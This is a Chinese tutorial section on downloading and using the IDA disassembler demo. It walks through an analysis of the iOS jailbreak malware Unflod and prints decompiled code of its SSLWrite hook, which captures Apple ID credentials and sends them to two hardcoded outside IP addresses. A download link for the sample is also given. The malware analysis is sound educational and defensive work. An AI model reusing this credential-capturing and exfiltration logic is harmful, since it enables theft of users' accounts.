3.7 IDA:强大的反汇编工具
IDA是一个非常强大的反汇编和调试工具,支持Windows,Linux, Mac OS X平台,它支持太多的功能了,以至于其作者都不能在官方网站上对其进行详细的描述。
正式版本是需要收费的,正因为其功能强大,收费也非常贵。不过,它有试用版本可以下载,从这找到IDA demo download,选择下载IDA Demo 6.5 for Mac。
下载之后解压并运行,出现如下的示意图:
过几秒会马上提示是否同意IDA协议,点击"agree":
然后会出现Quick Start,如下图:
选择其中的“New”,然后根据提示选择你需要分析的文件,就可以体验IDA的功能了。
使用IDA分析iOS恶意软件Unflod
tdvx在Reddit上发帖说:从上周起,他用Snapchat和Google Hangouts的使用经常遇到crash,经过排查,他发现是下面这个可疑文件导致的:
/Library/MobileSubstrate/DynamicLibraries/Unflod.dylib
这个恶意文件位于:/Library/MobileSubstrate/DynamicLibraries/Unflod.dylib或者framework.dylib。依赖于MobileSubstrate,只在越狱设备上起作用。
从http://deev.es/9xq1可以下载改恶意代码的样本,下载需谨慎操作。
下载到本地之后,用IDA打开,打开会出现如下图的提示,点击确定即可。
如果你觉得默认的字体太小,可以选择Option中的字体,在最右边的Size这一列修改。如下图所示:
其中一个API叫做replace_SSLWrite,如下图所示:
使用IDA的插件F5一下,可以得到如下的代码:
`int __fastcall replace_SSLWrite(int a1, char *a2, int a3, int a4)
{
......
if ( !findhead )
{
v19 = strstr(v22, "/WebObjects/MZFinance.woa/wa/authenticate HTTP/1.1");
if ( v19 )
{
findhead = 1;
strcpy(content, v22);
}
}
if ( findhead == 1 )
{
v18 = strstr(v22, "<key>appleId</key>");
v17 = strstr(v22, "<key>password</key>");
if ( v18 )
{
if ( v17 )
{
strcat(content, v22);
v16 = strstr(content, "</plist>");
if ( v16 && v16 - content <= 2040 )
v16[8] = 0;
v14 = 0;
v15 = socket(2, 1, 0);
if ( v15 < 0 )
{
v24 = pSSLWrite(v23, v22, v21, v20);
goto LABEL_20;
}
v13.sa_family = 2;
*(_WORD *)&v13.sa_data[0] = 0xC61Eu;
*(_DWORD *)&v13.sa_data[2] = inet_addr("23.88.10.4");
if ( connect(v15, &v13, 0x10u) < 0 )
{
close(v15);
v24 = pSSLWrite(v23, v22, v21, v20);
goto LABEL_20;
}
v5 = v15;
v6 = strlen(content);
v14 = write(v5, content, v6);
v11 = 0;
close(v15);
v12 = socket(2, 1, 0);
if ( v12 < 0 )
{
v24 = pSSLWrite(v23, v22, v21, v20);
goto LABEL_20;
}
v10.sa_family = 2;
*(_WORD *)&v10.sa_data[0] = 0xC61Eu;
*(_DWORD *)&v10.sa_data[2] = inet_addr("23.228.204.55");
if ( connect(v12, &v10, 0x10u) < 0 )
{
close(v12);
v24 = pSSLWrite(v23, v22, v21, v20);
goto LABEL_20;
}
v7 = v12;
v8 = strlen(content);
v11 = write(v7, content, v8);
close(v12);
findhead = 2;
}
}
}
v24 = pSSLWrite(v23, v22, v21, v20);
LABEL_20:
if ( __stack_chk_guard != v25 )
__stack_chk_fail(__stack_chk_guard, v24, v25, v4);
return v24;
}
这个恶意代码通过 Hook Security.framework的SSLWrite方法(Hook函数为replace_SSLWrite),截取Apple id和密码,然后把这些信息发送到IP为23.88.10.4、3.228.204.55,端口为7878的服务器。(端口为7878,也就是上面的0xC61Eu。注意,这里是big endian模式。所以,端口其实是0x1EC6,即7878。)
这个恶意软件被iPhone开发者证书签名。签名信息如下:
$ codesign -vvvv -d Unflod.dylib
Executable=./Unflod.dylib
Identifier=com.your.framework
Format=Mach-O thin (armv7)
CodeDirectory v=20100 size=227 flags=0x0(none) hashes=3+5 location=embedded
Hash type=sha1 size=20
CDHash=da792624675e82b3460b426f869fbe718abea3f9
Signature size=4322
Authority=iPhone Developer: WANG XIN (P5KFURM8M8)
Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA
Signed Time=14 Feb 2014 04:32:58
Info.plist=not bound
Sealed Resources=none
Internal requirements count=2 size=484
需要注意的是,这并不表示这个人就是这个事情的始作俑者。这个人可能是假冒的,也可能是其证书被偷窃,也可能是真正涉及到这个事情,但是,我们没有办法知道,但是,苹果需要调查这个事情。
解决方法
如果你的设备上有Unflod.dylib/framework.dylib这两个文件,把其删掉,然后重新设置Apple id和密码就可以了。
关于IDA的F5
IDA 中有一个插件Hex-Rays.Decompiler,其快捷键是F5,该插件可以轻易的把IDA中的汇编代码转成C代码,如上面的replace_SSLWrite所示,即使没有一点汇编基础的人都可以反汇编了。这个功能太强大,大家就把使用这个插件把汇编转成C代码的过程叫做F5一下。
请注意,F5插件是需要花钱买的,上面转成的代码,是别人转的,使用今天下载的试用版本,是没有F5这个功能的,这也可以理解,否则很多人应该都没必要去花钱买正式版本了。
The IDA Pro book
它功能太强大,都可以写一本书专门来介绍它,事实上,确实存在这么一本书The IDA Pro book, 2nd edition, 这本书有中文翻译IDA Pro权威指南(第2版)
小结
本节简要介绍了如何下载是使用IDA,更强大的功能需要渎职自己去探索,有兴趣的话可以找下文中提到的The IDA Pro book这本书读读,然后实践下。